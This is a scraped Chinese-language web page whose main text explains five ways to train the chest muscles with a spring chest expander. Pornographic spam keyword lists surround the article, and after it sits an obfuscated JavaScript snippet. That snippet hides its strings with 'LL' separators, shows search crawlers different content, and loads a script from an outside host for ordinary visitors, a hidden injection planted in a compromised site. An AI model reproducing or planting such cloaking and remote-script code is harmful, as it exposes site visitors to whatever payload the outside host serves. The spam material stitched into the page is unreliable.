久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

彈簧拉力器如何練胸肌

2017-04-22 10:06:59  來源:360常識網   熱度:
導語:彈簧拉力器,是我們平時進行健身的時候常常會用到的一種健身器械,一般可以隨時隨地的鍛煉胸肌,也是練習胸肌的一種重要器械,不過需要注意

彈簧拉力器,是我們平時進行健身的時候常常會用到的一種健身器械,一般可以隨時隨地的鍛煉胸肌,也是練習胸肌的一種重要器械,不過需要注意的就是在鍛煉胸肌的時候要注意使用的方法和進行的動作,有好多的朋友不會正確的使用,彈簧拉力器如何練胸???面對這樣的問題我們進行一下了解。

彈簧拉力器俗名擴胸器,正是為了鍛煉胸肌而設計的。當然彈簧拉力器也可以輔助鍛煉其他部分的肌肉。

煉胸肌方法:

1、正位拉,雙臂前伸,肘略顯弧度(下同),高度不超過雙眼,往二邊拉伸,身體前后移動幅度不要過大,避免借力,如不行,寧可減彈簧,保證動作到位。

2、上位拉。動作如前,只是高度在頭頂前上方,有往二邊拉感覺,主練上胸,彈簧可適當比正拉增加。

3、下位拉,練下胸及雕中縫線條,就是將彈簧放在臍前往二邊拉,彈簧要減到最少(不能低于二根)。

4、交錯拉。右臂向右肩方向,左臂向左胯方向分開。然后換向。就是左臂向左肩,右臂向右胯拉。彈簧線路偏向人中心直立軸。每個動作分4組,每組最高不超過16下,力氣增加后可加彈簧。配合其它練習姿勢。

5、拉力器置于體后,雙手各握拉力器手柄,掌心向前屈肘,兩臂側伸至側平舉。還原。俯立側拉也可練胸肌, 且效果更好。

通過上述的介紹,我們知道了彈簧拉力器如何練胸肌,這樣的情況在現實當中是特別重要的,好多的朋友往往因為方法和姿勢不正確,會出現練習的效果不好的情況,只有正確的掌握了方法后,我們才會有效的鍛煉胸部的肌肉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 91精品国产综合久久久久久蜜臀 | 在线播放www | 一级毛片在线 | 国产精品成人久久久久 | 91中文字幕一区 | 国内精品在线视频 | 午夜精品美女久久久久av福利 | 精品欧美一区二区三区精品久久 | 极品美女一线天 | 国产精品免费一区 | 欧美日韩一区二区三区在线观看 | 日韩免费在线观看视频 | 欧美一区二区三区在线观看 | 黄色成人av | 欧美一级欧美三级在线观看 | 日本性视频 | 青青久久 | 在线激情网| 亚洲午夜在线 | 黄色大片成人 | 九九久久免费视频 | 免费一区二区三区 | 欧美日韩免费一区二区三区 | 一区二区精品视频在线观看 | 不卡一区 | 爱爱精品| 欧美伦理一区二区 | 亚洲 欧美日韩 国产 中文 | 亚洲一区中文字幕 | 久久88| 欧美精品一区二区三区在线 | 一级黄色片子免费看 | 亚洲免费福利视频 | 国产亚洲aaa | 亚洲欧美日韩另类精品一区二区三区 | 欧美在线免费视频 | 五月天婷婷激情视频 | 国产精品91视频 | 久久国产精彩视频 | 亚洲国产自产 | 国产综合亚洲精品一区二 |